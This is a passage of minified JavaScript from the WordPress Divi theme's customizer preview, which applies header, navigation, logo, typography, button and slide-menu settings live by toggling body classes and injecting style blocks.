o=t("body");e?o.addClass("et_cover_background"):o.removeClass("et_cover_background")}))})),wp.customize("et_divi[show_header_social_icons]",(function(e){e.bind((function(e){var o=t("#top-header ul.et-social-icons, .et_slide_menu_top ul.et-social-icons"),n=t("#et-info"),i=t(".et_slide_menu_top");if(t("body").hasClass("et_header_style_slide")||t("body").hasClass("et_header_style_fullscreen")||g(),e)if(o.length)o.show();else{var _=t("body").find(".et_customizer_social_icons .et-social-icons").clone();n.append(_),i.prepend(_)}else o.hide();j()}))})),wp.customize("et_divi[show_search_icon]",(function(e){e.bind((function(e){var o=t("body");e?o.removeClass("et_hide_search_icon"):o.addClass("et_hide_search_icon"),j()}))})),wp.customize("et_divi[show_footer_social_icons]",(function(e){e.bind((function(e){var o=t("#main-footer ul.et-social-icons");if(e)if(o.length)o.show();else{var n=t("body").find(".et_customizer_social_icons .et-social-icons").clone();t("#footer-bottom .container").append(n)}else o.hide()}))})),wp.customize("et_divi[header_style]",(function(e){e.bind((function(e){var o,n,i,_,a,r,c,s,d,m,b=t("body").hasClass("rtl"),f=b?t("#page-container").css("margin-right"):t("#page-container").css("margin-left"),g=t("body").hasClass("et_boxed_layout")?f:"0",v=t("#et-top-navigation .et_pb_header_toggle");t("#logo").hide(),l("et_header_style_"),t("body").addClass("et_header_style_"+e),"slide"!==e&&"fullscreen"!==e||(t("body").addClass("et_header_style_left"),"slide"===e?v.addClass("et_toggle_slide_menu").removeClass("et_toggle_fullscreen_menu"):v.addClass("et_toggle_fullscreen_menu").removeClass("et_toggle_slide_menu"),t(".et_slide_in_menu_container").toggle(),t(".et_slide_in_menu_container").toggle()),b?(t(".et_slide_in_menu_container").animate({left:"-100%"}).removeClass("et_pb_slide_menu_opened"),t("#page-container").animate({right:"0"}),t("#main-header").animate({right:g})):(t(".et_slide_in_menu_container").animate({right:"-100%"}).removeClass("et_pb_slide_menu_opened"),t("#page-container").animate({left:"0"}),t("#main-header").animate({left:g})),t("body").removeClass("et_pb_slide_menu_active"),t("body").removeClass("et_pb_fullscreen_menu_active"),t(".et_toggle_slide_menu").removeClass("et_pb_fullscreen_menu_opened"),o=e,n=t(window).width(),i=t("#main-header"),_=i.height(),a=t("#et-top-navigation"),r=t("#main-header > .container > .logo_container"),c=r.length,s=t(".centered-inline-logo-wrap > .logo_container"),d=a.children("nav").children("ul").children("li").length,m=Math.round(d/2)-1,n>980&&c&&"split"==o&&!window.et_is_vertical_nav&&(t('<li class="centered-inline-logo-wrap"></li>').insertAfter(a.find("nav > ul >li:nth("+m+")")),r.appendTo(a.find(".centered-inline-logo-wrap"))),(n<=980&&s.length||"split"!=o)&&(s.prependTo("#main-header > .container"),t("#main-header .centered-inline-logo-wrap").remove()),n>980&&i.attr({"data-height-onload":_}),w(),u(),h(),p(),T(),t("#logo").fadeIn()}))})),wp.customize("et_divi[primary_nav_dropdown_animation]",(function(e){e.bind((function(e){l("et_primary_nav_dropdown_animation_"),t("body").addClass("et_primary_nav_dropdown_animation_"+e)}))})),wp.customize("et_divi[secondary_nav_dropdown_animation]",(function(e){e.bind((function(e){l("et_secondary_nav_dropdown_animation_"),t("body").addClass("et_secondary_nav_dropdown_animation_"+e)}))})),wp.customize("et_divi[phone_number]",(function(e){e.bind((function(e){g();var o=t("#et-info"),n=t("#et-info-phone"),i=t("#top-header .container");n.length||(!o.length&&i.length&&(o=t('<div id="et-info"></div>'),i.prepend(o)),o.length&&o.prepend('<span id="et-info-phone"></span>'),n=t("#et-info-phone")),""!==e.trim()?n.show().html(e):(n.hide(),t("#top-header").length&&setTimeout((function(){t("#top-header .container").children().filter(":visible").length||(t("body").removeClass("et_secondary_nav_enabled").removeClass("et_secondary_nav_two_panels").find("#top-header").remove(),p())}),500))}))})),wp.customize("et_divi[header_email]",(function(e){e.bind((function(e){g();var o=t("#et-info"),n=t("#et-info-email"),i=t("#top-header .container");n.length||(!o.length&&i.length&&(o=t('<div id="et-info"></div>'),i.prepend(o)),o.length&&o.append('<span id="et-info-email"></span>'),n=t("#et-info-email")),""!==e.trim()?n.show().text(e):n.hide()}))})),wp.customize("et_divi[primary_nav_text_color]",(function(e){e.bind((function(e){l("et_nav_text_color_","#main-header"),t("#main-header").addClass("et_nav_text_color_"+e)}))})),wp.customize("et_divi[secondary_nav_text_color]",(function(e){e.bind((function(e){l("et_nav_text_color_","#top-header"),t("#top-header").addClass("et_nav_text_color_"+e)}))})),wp.customize("et_divi[vertical_nav]",(function(e){e.bind((function(e){var o=t("body"),n=t("#et-top-navigation"),i=t("#main-header").css("background-color"),_=void 0===wp.customize.value("et_divi[menu_height]")()?66:parseInt(wp.customize.value("et_divi[menu_height]")());if(n.css("padding-left","0px"),"split"==(t(".et_header_style_split").length?"split":"not-split")){var a=t(window),r=t("#et-top-navigation"),c=t("#main-header > .container > .logo_container"),s=t(".centered-inline-logo-wrap > .logo_container"),d=r.children("nav").children("ul").children("li").length,l=Math.round(d/2)-1;!e&&a.width()>=980?(t('<li class="centered-inline-logo-wrap"></li>').insertAfter(r.find("nav > ul >li:nth("+l+")")),c.appendTo(r.find(".centered-inline-logo-wrap"))):(s.prependTo("#main-header > .container"),t("#main-header .centered-inline-logo-wrap").remove())}e?(o.addClass("et_vertical_nav"),window.et_is_vertical_nav=!0,"left"===wp.customize.value("et_divi[vertical_nav_orientation]")()?o.removeClass("et_vertical_right"):o.addClass("et_vertical_right"),o.hasClass("et_fixed_nav")&&(o.removeClass("et_fixed_nav").addClass("et_fixed_nav_temp"),window.et_is_fixed_nav=!1,t("#main-header").css({transform:"translateY(0)",top:"0"}),t("#top-header").css({transform:"translateY(0)",top:"0"}))):(o.find("#main-header").removeClass(".et-fixed-header"),o.removeClass("et_vertical_nav"),window.et_is_vertical_nav=!1,o.hasClass("et_fixed_nav_temp")||o.hasClass("et_vertical_fixed")?(o.removeClass("et_fixed_nav_temp et_vertical_fixed").addClass("et_fixed_nav"),window.et_is_fixed_nav=!0):window.et_is_fixed_nav=!1,p()),window.et_is_vertical_nav||"rgba"!==i.substr(0,4)?o.removeClass("et_transparent_nav"):o.addClass("et_transparent_nav"),e&&o.is(".et_fullwidth_nav")?o.removeClass("et_fullwidth_nav").addClass("et_fullwidth_nav_temp"):!e&&o.is(".et_fullwidth_nav_temp")&&o.removeClass("et_fullwidth_nav_temp").addClass("et_fullwidth_nav"),e&&o.hasClass("et_hide_nav")?o.removeClass("et_hide_nav").addClass("et_hide_nav_temp"):!e&&o.hasClass("et_hide_nav_temp")&&o.removeClass("et_hide_nav_temp").addClass("et_hide_nav"),e?o.removeClass("nav-vertical-to-horizontal").addClass("nav-horizontal-to-vertical"):o.removeClass("nav-horizontal-to-vertical").addClass("nav-vertical-to-horizontal"),v(_,"full_menu","not-fixed"),u(),h(),T(),I()}))})),wp.customize("et_divi[vertical_nav_orientation]",(function(e){e.bind((function(e){var o=t("body");if("right"===e)o.addClass("et_vertical_right"),I();else if(o.removeClass("et_vertical_right"),o.hasClass("et_boxed_layout")&&o.hasClass("et_vertical_fixed")){var n=t("#page-container").css("margin-left");t("#main-header").css("right",""),t("#main-header").css("left",n)}}))})),wp.customize("et_divi[hide_nav]",(function(e){e.bind((function(e){var o=t(window),n=t("body"),i=n.find("#top-header").length?n.find("#top-header").innerHeight():0,_=n.find("#page-container"),a=n.find("#main-header"),r=n.find("#top-header"),c=(n.find("#main-header").length?n.find("#main-header").innerHeight():0)+i;o.width()<981||(n.hasClass("et_hide_nav")?(n.removeClass("et_hide_nav"),a.css("transform","translateY(0)"),r.css("transform","translateY(0)"),p()):(n.addClass("et_hide_nav"),_.css("paddingTop","0px"),a.css("transform","translateY(-"+c+"px)"),r.css("transform","translateY(-"+c+"px)")),T())}))})),wp.customize("et_divi[hide_primary_logo]",(function(e){e.bind((function(e){var o=t("body");e?o.addClass("et_hide_primary_logo"):o.removeClass("et_hide_primary_logo")}))})),wp.customize("et_divi[hide_fixed_logo]",(function(e){e.bind((function(e){var o=t("body");e?o.addClass("et_hide_fixed_logo"):o.removeClass("et_hide_fixed_logo")}))})),wp.customize("et_divi[hide_mobile_logo]",(function(e){e.bind((function(e){var o=t("body");e?o.addClass("et_hide_mobile_logo"):o.removeClass("et_hide_mobile_logo")}))})),wp.customize("et_divi[color_schemes]",(function(e){e.bind((function(e){var o,n=t("body");o=n.attr("class").replace(/et_color_scheme_[^\s]+/,""),n.attr("class",o.trim()),"none"!==e&&n.addClass("et_color_scheme_"+e)}))})),wp.customize("et_divi[nav_fullwidth]",(function(e){e.bind((function(e){var o=t("body");e?o.addClass("et_fullwidth_nav"):o.removeClass("et_fullwidth_nav")}))})),wp.customize("et_divi[menu_height]",(function(e){e.bind((function(e){t("#et-top-navigation").attr("data-height",e),b("initial"),v(e,"full_menu","not-fixed"),w(),u(),p()}))})),wp.customize("et_divi[logo_height]",(function(e){e.bind((function(e){var o=void 0===wp.customize.value("et_divi[header_style]")()?"left":wp.customize.value("et_divi[header_style]")();t("#logo").attr("data-height-percentage",e),"split"===o&&t("#logo").hide(),u(),"split"===o&&setTimeout((function(){t("#logo").fadeIn()}),500)}))})),wp.customize("et_divi[menu_margin_top]",(function(t){t.bind((function(t){q("style#menu_margin_top",'<style id="menu_margin_top">@media only screen and ( min-width: 981px ) { .et_vertical_nav #et-top-navigation { margin-top: '+t+"px } }</style>")}))})),wp.customize("et_divi[minimized_menu_height]",(function(e){e.bind((function(e){t("#et-top-navigation").attr("data-fixed-height",e),v(e,"fixed_menu","fixed"),u(),h(),T(),t(window).trigger("resize")}))})),wp.customize("et_divi[secondary_nav_font_size]",(function(e){e.bind((function(e){var o='<style id="header_social_icons">#top-header .et-social-icon a:before { font-size:'+e+"px }</style>",n=t("style#header_social_icons");t("#top-header, #top-header a").css("font-size",e+"px"),t("body").hasClass("et_fixed_nav")&&t("#main-header").css("top",t("#top-header").innerHeight()+"px"),n.length?t(n).replaceWith(o):t("head").append(o),w(),p()}))})),wp.customize("et_divi[primary_nav_font_size]",(function(e){e.bind((function(e){q("style#search_font_size","<style id='search_font_size'> body.et_vertical_nav .container.et_search_form_container .et-search-form input { font-size:"+e+"px !important; }\t\t\t\t\t\t\t\t</style>"),t("#top-menu li a").css("font-size",e+"px")}))})),wp.customize("et_divi[post_meta_font_size]",(function(t){t.bind((function(t){q("style#post_meta_font_size","<style id='post_meta_font_size'>@media only screen and ( min-width: 981px ) { \t\t\t\t\t\t\t\t\tbody.home-posts #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.archive #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.search #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.single #left-area .et_pb_post .post-meta { font-size:"+t+"px; }\t\t\t\t\t\t\t\t\t}</style>")}))})),wp.customize("et_divi[post_meta_height]",(function(t){t.bind((function(t){q("style#post_meta_height","<style id='post_meta_height'> \t\t\t\t\t\t\t\t\tbody.home-posts #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.archive #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.search #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.single #left-area .et_pb_post .post-meta { line-height: "+t+"em; }\t\t\t\t\t\t\t\t\t</style>")}))})),wp.customize("et_divi[post_meta_spacing]",(function(t){t.bind((function(t){q("style#post_meta_spacing","<style id='post_meta_spacing'> \t\t\t\t\t\t\t\t\tbody.home-posts #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.archive #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.search #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.single #left-area .et_pb_post .post-meta { letter-spacing: "+t+"px; }\t\t\t\t\t\t\t\t\t</style>")}))})),wp.customize("et_divi[post_meta_style]",(function(t){t.bind((function(t){q("style#post_meta_style",'<style id="post_meta_style"> \t\t\t\t\t\t\t\t\tbody.home-posts #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.archive #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.search #left-area .et_pb_post .post-meta,\t\t\t\t\t\t\t\t\tbody.single #left-area .et_pb_post .post-meta {'+k(t,"")+"}</style>")}))})),wp.customize("et_divi[post_header_font_size]",(function(t){t.bind((function(t){q("style#post_header_font_size","<style id='post_header_font_size'>@media only screen and ( min-width: 981px ) {\t\t\t\t\t\t\t\t\tbody.home-posts #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.archive #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.search #left-area .et_pb_post h2 { font-size:"+parseInt(t)*(26/30)+"px }\t\t\t\t\t\t\t\t\tbody.single .et_post_meta_wrapper h1 { font-size:"+t+"px; }\t\t\t\t\t\t\t\t\t}</style>")}))})),wp.customize("et_divi[post_header_height]",(function(t){t.bind((function(t){q("style#post_header_height","<style id='post_header_height'>\t\t\t\t\t\t\t\t\tbody.home-posts #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.archive #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.search #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.single .et_post_meta_wrapper h1 { line-height: "+t+"em; }\t\t\t\t\t\t\t\t\t</style>")}))})),wp.customize("et_divi[post_header_spacing]",(function(t){t.bind((function(t){q("style#post_header_spacing","<style id='post_header_spacing'>\t\t\t\t\t\t\t\t\tbody.home-posts #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.archive #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.search #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.single .et_post_meta_wrapper h1 { letter-spacing: "+t+"px; }\t\t\t\t\t\t\t\t\t</style>")}))})),wp.customize("et_divi[post_header_style]",(function(t){t.bind((function(t){q("style#post_header_style",'<style id="post_header_style">\t\t\t\t\t\t\t\t\tbody.home-posts #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.archive #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.search #left-area .et_pb_post h2,\t\t\t\t\t\t\t\t\tbody.single .et_post_meta_wrapper h1 {'+k(t,"")+"}\t\t\t\t\t\t\t\t\t</style>")}))})),wp.customize("et_divi[all_buttons_font_size]",(function(t){t.bind((function(t){q("style#buttons_icon_font_size",'<style id="buttons_icon_font_size">body #page-container .et_pb_button, '+x(".et_pb_button")+"{ font-size: "+t+"px; } body #page-container .et_pb_button:after, "+x(".et_pb_button:after")+", .woocommerce a.button.alt:after, .woocommerce-page a.button.alt:after, .woocommerce button.button.alt:after, .woocommerce-page button.button.alt:after, .woocommerce input.button.alt:after, .woocommerce-page input.button.alt:after, .woocommerce #respond input#submit.alt:after, .woocommerce-page #respond input#submit.alt:after, .woocommerce #content input.button.alt:after, .woocommerce-page #content input.button.alt:after, .woocommerce a.button:after, .woocommerce-page a.button:after, .woocommerce button.button:after, .woocommerce-page button.button:after, .woocommerce input.button:after, .woocommerce-page input.button:after, .woocommerce #respond input#submit:after, .woocommerce-page #respond input#submit:after, .woocommerce #content input.button:after, .woocommerce-page #content input.button:after { font-size:"+1.6*parseInt(t)+"px; } body.et_button_custom_icon #page-container .et_pb_button:after, body.et_button_custom_icon."+x(".et_pb_button:after")+" { font-size:"+t+"px; } </style>")}))})),wp.customize("et_divi[all_buttons_text_color]",(function(t){t.bind((function(t){var e="<style id='buttons_text_color'> body.et_pb_button_helper_class #page-container .et_pb_button, body.et_pb_button_helper_class "+x(".et_pb_button")+", \t\t\t\t\t\t\t\t\t.woocommerce.et_pb_button_helper_class a.button.alt, .woocommerce-page.et_pb_button_helper_class a.button.alt, .woocommerce.et_pb_button_helper_class button.button.alt, .woocommerce.et_pb_button_helper_class button.button.alt.disabled, .woocommerce-page.et_pb_button_helper_class button.button.alt, .woocommerce-page.et_pb_button_helper_class button.button.alt.disabled, .woocommerce.et_pb_button_helper_class input.button.alt, .woocommerce-page.et_pb_button_helper_class input.button.alt, .woocommerce.et_pb_button_helper_class #respond input#submit.alt, .woocommerce-page.et_pb_button_helper_class #respond input#submit.alt, .woocommerce.et_pb_button_helper_class #content input.button.alt, .woocommerce-page.et_pb_button_helper_class #content input.button.alt,\t\t\t\t\t\t\t\t\t.woocommerce.et_pb_button_helper_class a.button, .woocommerce-page.et_pb_button_helper_class a.button, .woocommerce.et_pb_button_helper_class button.button, .woocommerce-page.et_pb_button_helper_class button.button, .woocommerce.et_pb_button_helper_class input.button, .woocommerce-page.et_pb_button_helper_class input.button, .woocommerce.et_pb_button_helper_class #respond input#submit, .woocommerce-page.et_pb_button_helper_class #respond input#submit, .woocommerce.et_pb_button_helper_class #content input.button, .woocommerce-page.et_pb_button_helper_class #content input.button { color:"+t+";}\t\t\t\t\t\t\t\t</style>";t||($style_content=""),q("style#buttons_text_color",e)}))})),wp.customize("et_divi[all_buttons_bg_color]",(function(t){t.bind((function(t){q("style#buttons_bg_color",'<style id="buttons_bg_color">body #page-container .et_pb_button, body '+x(".et_pb_button")+", .woocommerce a.button.alt, .woocommerce-page a.button.alt, .woocommerce button.button.alt, .woocommerce button.button.alt.disabled, .woocommerce-page button.button.alt, .woocommerce-page button.button.alt.disabled, .woocommerce input.button.alt, .woocommerce-page input.button.alt, .woocommerce #respond input#submit.alt, .woocommerce-page #respond input#submit.alt, .woocommerce #content input.button.alt, .woocommerce-page #content input.button.alt, .woocommerce a.button, .woocommerce-page a.button, .woocommerce button.button, .woocommerce-page button.button, .woocommerce input.button, .woocommerce-page input.button, .woocommerce #respond input#submit, .woocommerce-page #respond input#submit, .woocommerce #content input.button, .woocommerce-page #content input.button { background:"+t+";}</style>")}))})),wp.customize("et_divi[all_buttons_border_width]",(function(t){t.bind((function(t){q("style#buttons_border_width",'<style id="buttons_border_width">body #page-container .et_pb_button, body '+x(".et_pb_button")+", .woocommerce a.button.alt, .woocommerce-page a.button.alt, .woocommerce button.button.alt, .woocommerce button.button.alt.disabled, .woocommerce-page button.button.alt, .woocommerce-page button.button.alt.disabled, .woocommerce input.button.alt, .woocommerce-page input.button.alt, .woocommerce #respond input#submit.alt, .woocommerce-page #respond input#submit.alt, .woocommerce #content input.button.alt, .woocommerce-page #content input.button.alt, .woocommerce a.button, .woocommerce-page a.button, .woocommerce button.button, .woocommerce-page button.button, .woocommerce input.button, .woocommerce-page input.button, .woocommerce #respond input#submit, .woocommerce-page #respond input#submit, .woocommerce #content input.button, .woocommerce-page #content input.button { border-width:"+t+"px !important; }</style>")}))})),wp.customize("et_divi[all_buttons_border_color]",(function(t){t.bind((function(t){q("style#buttons_border_color",'<style id="buttons_border_color">body #page-container .et_pb_button, body '+x(".et_pb_button")+", .woocommerce a.button.alt, .woocommerce-page a.button.alt, .woocommerce button.button.alt, .woocommerce button.button.alt.disabled, .woocommerce-page button.button.alt, .woocommerce-page button.button.alt.disabled, .woocommerce input.button.alt, .woocommerce-page input.button.alt, .woocommerce #respond input#submit.alt, .woocommerce-page #respond input#submit.alt, .woocommerce #content input.button.alt, .woocommerce-page #content input.button.alt, .woocommerce a.button, .woocommerce-page a.button, .woocommerce button.button, .woocommerce-page button.button, .woocommerce input.button, .woocommerce-page input.button, .woocommerce #respond input#submit, .woocommerce-page #respond input#submit, .woocommerce #content input.button, .woocommerce-page #content input.button { border-color:"+t+";}</style>")}))})),wp.customize("et_divi[all_buttons_border_radius]",(function(t){t.bind((function(t){q("style#buttons_border_radius",'<style id="buttons_border_radius">body #page-container .et_pb_button, body '+x(".et_pb_button")+", .woocommerce a.button.alt, .woocommerce-page a.button.alt, .woocommerce button.button.alt, .woocommerce button.button.alt.disabled, .woocommerce-page button.button.alt, .woocommerce-page button.button.alt.disabled, .woocommerce input.button.alt, .woocommerce-page input.button.alt, .woocommerce #respond input#submit.alt, .woocommerce-page #respond input#submit.alt, .woocommerce #content input.button.alt, .woocommerce-page #content input.button.alt, .woocommerce a.button, .woocommerce-page a.button, .woocommerce button.button, .woocommerce-page button.button, .woocommerce input.button, .woocommerce-page input.button, .woocommerce #respond input#submit, .woocommerce-page #respond input#submit, .woocommerce #content input.button, .woocommerce-page #content input.button { border-radius:"+t+"px;}</style>")}))})),wp.customize("et_divi[all_buttons_font_style]",(function(t){t.bind((function(t){var e=k(t,"");q("style#buttons_font_style",'<style id="buttons_font_style">body #page-container .et_pb_button, body '+x(".et_pb_button")+", .woocommerce a.button.alt, .woocommerce-page a.button.alt, .woocommerce button.button.alt, .woocommerce button.button.alt.disabled, .woocommerce-page button.button.alt, .woocommerce-page button.button.alt.disabled, .woocommerce input.button.alt, .woocommerce-page input.button.alt, .woocommerce #respond input#submit.alt, .woocommerce-page #respond input#submit.alt, .woocommerce #content input.button.alt, .woocommerce-page #content input.button.alt, .woocommerce a.button, .woocommerce-page a.button, .woocommerce button.button, .woocommerce-page button.button, .woocommerce input.button, .woocommerce-page input.button, .woocommerce #respond input#submit, .woocommerce-page #respond input#submit, .woocommerce #content input.button, .woocommerce-page #content input.button {"+e+"}</style>")}))})),wp.customize("et_divi[primary_nav_font_style]",(function(t){t.bind((function(t){var e=k(t,"");q("style#primary_nav_font_style","<style id='primary_nav_font_style'> #top-menu li a, .et_search_form_container input {"+e+"}\t\t\t\t\t\t\t\t\t.et_search_form_container input::-moz-placeholder { "+e+" }\t\t\t\t\t\t\t\t\t.et_search_form_container input::-webkit-input-placeholder { "+e+" }\t\t\t\t\t\t\t\t\t.et_search_form_container input:-ms-input-placeholder { "+e+" }\t\t\t\t\t\t\t\t</style>")}))})),wp.customize("et_divi[secondary_nav_font_style]",(function(t){t.bind((function(t){q("style#secondary_nav_font_style",'<style id="secondary_nav_font_style"> #top-header, #top-header a, #et-secondary-nav li li a, #top-header .et-social-icon a:before {'+k(t,"")+"}</style>")}))})),wp.customize("et_divi[body_header_style]",(function(t){t.bind((function(t){var e=k(t,"");q("style#body_header_style",'<style id="body_header_style"> h1, h2, h3, h4, h5, h6, '+x("h1, h2, h3, h4, h5, h6, .et_quote_content blockquote p, .et_pb_slide_description .et_pb_slide_title")+" {"+e+"}</style>")}))})),wp.customize("et_divi[all_buttons_selected_icon]",(function(e){e.bind((function(e){var o=t(".et_pb_button").css("font-size"),n="<style id='buttons_icon'>body #page-container .et_pb_button:after, body "+x(".et_pb_button:after")+", .woocommerce a.button.alt:after, .woocommerce-page a.button.alt:after, .woocommerce button.button.alt:after, .woocommerce-page button.button.alt:after, .woocommerce input.button.alt:after, .woocommerce-page input.button.alt:after, .woocommerce #respond input#submit.alt:after, .woocommerce-page #respond input#submit.alt:after, .woocommerce #content input.button.alt:after, .woocommerce-page #content input.button.alt:after, .woocommerce a.button:after, .woocommerce-page a.button:after, .woocommerce button.button:after, .woocommerce-page button.button:after, .woocommerce input.button:after, .woocommerce-page input.button:after, .woocommerce #respond input#submit:after, .woocommerce-page #respond input#submit:after, .woocommerce #content input.button:after, .woocommerce-page #content input.button:after { font-size:"+o+";";n+="'"===e?'content:"'+e+'";':"content:'"+e+"';",q("style#buttons_icon",n+="}</style>"),"5"!==e?t("body").addClass("et_button_custom_icon"):t("body").removeClass("et_button_custom_icon")}))})),wp.customize("et_divi[all_buttons_icon_color]",(function(t){t.bind((function(t){q("style#buttons_icon_color",'<style id="buttons_icon_color">body #page-container .et_pb_button:after, body '+x(".et_pb_button:after")+", .woocommerce a.button.alt:after, .woocommerce-page a.button.alt:after, .woocommerce button.button.alt:after, .woocommerce-page button.button.alt:after, .woocommerce input.button.alt:after, .woocommerce-page input.button.alt:after, .woocommerce #respond input#submit.alt:after, .woocommerce-page #respond input#submit.alt:after, .woocommerce #content input.button.alt:after, .woocommerce-page #content input.button.alt:after, .woocommerce a.button:after, .woocommerce-page a.button:after, .woocommerce button.button:after, .woocommerce-page button.button:after, .woocommerce input.button:after, .woocommerce-page input.button:after, .woocommerce #respond input#submit:after, .woocommerce-page #respond input#submit:after, .woocommerce #content input.button:after, .woocommerce-page #content input.button:after { color:"+t+";}</style>")}))})),wp.customize("et_divi[all_buttons_icon_placement]",(function(e){e.bind((function(e){"left"===e?t("body").addClass("et_button_left"):t("body").removeClass("et_button_left")}))})),wp.customize("et_divi[all_buttons_icon_hover]",(function(e){e.bind((function(e){"no"===e?t("body").addClass("et_button_icon_visible"):t("body").removeClass("et_button_icon_visible")}))})),wp.customize("et_divi[all_buttons_icon]",(function(e){e.bind((function(e){"no"===e?t("body").addClass("et_button_no_icon"):t("body").removeClass("et_button_no_icon")}))}));var Y="body #page-container .et_pb_button:hover, body "+x(".et_pb_button:hover")+", .woocommerce a.button.alt:hover, .woocommerce-page a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce button.button.alt.disabled:hover, .woocommerce-page button.button.alt:hover, .woocommerce-page button.button.alt.disabled:hover, .woocommerce input.button.alt:hover, .woocommerce-page input.button.alt:hover, .woocommerce #respond input#submit.alt:hover, .woocommerce-page #respond input#submit.alt:hover, .woocommerce #content input.button.alt:hover, .woocommerce-page #content input.button.alt:hover, .woocommerce a.button:hover, .woocommerce-page a.button:hover, .woocommerce button.button:hover, .woocommerce-page button.button:hover, .woocommerce input.button:hover, .woocommerce-page input.button:hover, .woocommerce #respond input#submit:hover, .woocommerce-page #respond input#submit:hover, .woocommerce #content input.button:hover, .woocommerce-page #content input.button:hover";wp.customize("et_divi[all_buttons_text_color_hover]",(function(t){t.bind((function(t){var e='<style id="buttons_text_color_hover">'+Y+" { color: "+t+" !important; } </style>";t||(e=""),q("style#buttons_text_color_hover",e)}))})),wp.customize("et_divi[all_buttons_bg_color_hover]",(function(t){t.bind((function(t){q("style#buttons_bg_color_hover",'<style id="buttons_bg_color_hover">'+Y+" { background: "+t+" !important; } </style>")}))})),wp.customize("et_divi[all_buttons_border_color_hover]",(function(t){t.bind((function(t){q("style#buttons_border_color_hover",'<style id="buttons_border_color_hover">'+Y+" { border-color: "+t+" !important; } </style>")}))})),wp.customize("et_divi[all_buttons_border_radius_hover]",(function(t){t.bind((function(t){q("style#buttons_border_radius_hover",'<style id="buttons_border_radius_hover">'+Y+" { border-radius: "+t+"px !important; } </style>")}))})),wp.customize("et_divi[all_buttons_spacing]",(function(t){t.bind((function(t){q("style#buttons_spacing",'<style id="buttons_spacing">body #page-container .et_pb_button, body '+x(".et_pb_button")+", .woocommerce a.button.alt, .woocommerce-page a.button.alt, .woocommerce button.button.alt, .woocommerce button.button.alt.disabled, .woocommerce-page button.button.alt, .woocommerce-page button.button.alt.disabled, .woocommerce input.button.alt, .woocommerce-page input.button.alt, .woocommerce #respond input#submit.alt, .woocommerce-page #respond input#submit.alt, .woocommerce #content input.button.alt, .woocommerce-page #content input.button.alt, .woocommerce a.button, .woocommerce-page a.button, .woocommerce button.button, .woocommerce-page button.button, .woocommerce input.button, .woocommerce-page input.button, .woocommerce #respond input#submit, .woocommerce-page #respond input#submit, .woocommerce #content input.button, .woocommerce-page #content input.button { letter-spacing: "+t+"px; } </style>")}))})),wp.customize("et_divi[all_buttons_spacing_hover]",(function(t){t.bind((function(t){q("style#buttons_spacing_hover",'<style id="buttons_spacing_hover">'+Y+" { letter-spacing: "+t+"px; } </style>")}))})),wp.customize("et_divi[slide_nav_show_top_bar]",(function(e){e.bind((function(e){var o;t("body").find(".et_slide_menu_top").css({display:""}),e?(o='<style id="slide_nav_show_top_bar">.et_slide_menu_top{ display: block; }</style>',t("body").removeClass("et_pb_no_top_bar_fullscreen")):(o='<style id="slide_nav_show_top_bar">.et_slide_menu_top{ display: none; }</style>',t("body").addClass("et_pb_no_top_bar_fullscreen")),q("style#slide_nav_show_top_bar",o)}))})),wp.customize("et_divi[slide_nav_bg]",(function(t){t.bind((function(t){q("style#slide_nav_bg",'<style id="slide_nav_bg">body #page-container .et_slide_in_menu_container{ background: '+t+"; } </style>")}))})),wp.customize("et_divi[slide_nav_links_color]",(function(t){t.bind((function(t){q("style#slide_nav_links_color",'<style id="slide_nav_links_color">.et_slide_in_menu_container #mobile_menu_slide li span.et_mobile_menu_arrow:before, .et_slide_in_menu_container #mobile_menu_slide li a { color: '+t+"; } </style>")}))})),wp.customize("et_divi[slide_nav_links_color_active]",(function(t){t.bind((function(t){q("style#slide_nav_links_color_active",'<style id="slide_nav_links_color_active">.et_slide_in_menu_container #mobile_menu_slide li.current-menu-item span.et_mobile_menu_arrow:before, .et_slide_in_menu_container #mobile_menu_slide li.current-menu-item a { color: '+t+"; } </style>")}))})),wp.customize("et_divi[slide_nav_top_color]",(function(t){t.bind((function(t){q("style#slide_nav_top_color","<style id='slide_nav_top_color'>.et_slide_in_menu_container .et_slide_menu_top, .et_slide_in_menu_container .et_slide_menu_top a, .et_slide_in_menu_container .et_slide_menu_top input { color: "+t+"; } \t\t\t\t\t.et_slide_in_menu_container .et_slide_menu_top .et-search-form input, .et_slide_in_menu_container .et_slide_menu_top .et-search-form button#searchsubmit_header:before { color: "+t+"; } \t\t\t\t\t.et_slide_in_menu_container .et_slide_menu_top .et-search-form input::-webkit-input-placeholder { color: "+t+"; } \t\t\t\t\t.et_slide_in_menu_container .et_slide_menu_top .et-search-form input::-moz-placeholder { color: "+t+"; } \t\t\t\t\t.et_slide_in_menu_container .et_slide_menu_top .et-search-form input:-ms-input-placeholder { color: "+t+"; } \t\t\t\t\t.et_header_style_fullscreen .et_slide_in_menu_container span.mobile_menu_bar.et_toggle_fullscreen_menu:before { color: "+t+"; } \t\t\t\t\t.et_header_style_fullscreen .et_slide_menu_top .et-search-form { border-color: "+t+"; } \t\t\t\t</style>")}))})),wp.customize("et_divi[slide_nav_search]",(function(t){t.bind((function(t){var e="<style id='slide_nav_search'>.et_header_style_slide .et_slide_in_menu_container .et_slide_menu_top .et-search-form input,.et_header_style_slide .et_slide_in_menu_container 